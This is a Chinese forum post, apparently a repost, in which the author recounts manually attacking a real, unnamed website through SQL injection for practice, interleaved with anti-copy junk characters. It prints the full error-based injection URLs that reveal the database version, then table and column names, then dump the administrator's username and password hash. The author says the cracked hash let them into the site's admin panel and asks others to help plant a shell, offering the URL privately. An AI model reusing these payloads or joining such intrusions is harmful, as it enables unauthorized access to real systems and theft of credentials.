近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
R; ?( l7 G; i% U; R3 ^: U首先找到网站后台,加了个admin,后台出来了 ! Q+ l5 M! x6 {; D( _, h
, b0 Y8 m; b( S! W% l5 {. X9 h( K& ?% N5 \, n6 x( |. s
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
& {0 b0 d* [& F- p1 Q2 Khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
4 ~2 h4 n/ e$ a) d; t0 {# ?/ ]# ]' i( E& U% a" s6 d# j# c
% k* M# O) i* C- Q
( h, E0 J8 @' }& d/ \/ S) D% U, r3 S$ r% ~8 I) z/ U
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
; a+ V7 g. D! ^/ p: N5 G
; ~/ q5 ~# g5 f4 U* {8 g
! s& ~; |! P; c/ c5 \+ t* q( s* f l9 @/ `8 X( {" \$ T3 P/ v7 {
' |* o4 F' U$ n l# J% J1 W
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
0 o9 |, c& G- w& m' w/ P q6 ^4 n3 R4 j& m, v! i6 R: x$ K5 i
" w2 Y0 @5 U; \7 b1 U
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg! f+ z R, j2 s
3 M, P+ O* ~- R& X( p- n* F" E" s' J4 [
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
" ]6 A# Z7 z7 x, Y$ m/ V, M" R' }5 E6 }8 O9 n) s2 \5 |0 t1 f
2 Y. J, D& V2 U2 f; z% |# Y1 P
, E) Q& }3 v" t! {0 ]2 p 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
; D% `4 @# e/ @+ T2 d
0 v# L! D7 b. S- \% V
0 m" \5 |& G$ X5 R4 G1 _! N; c5 }
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |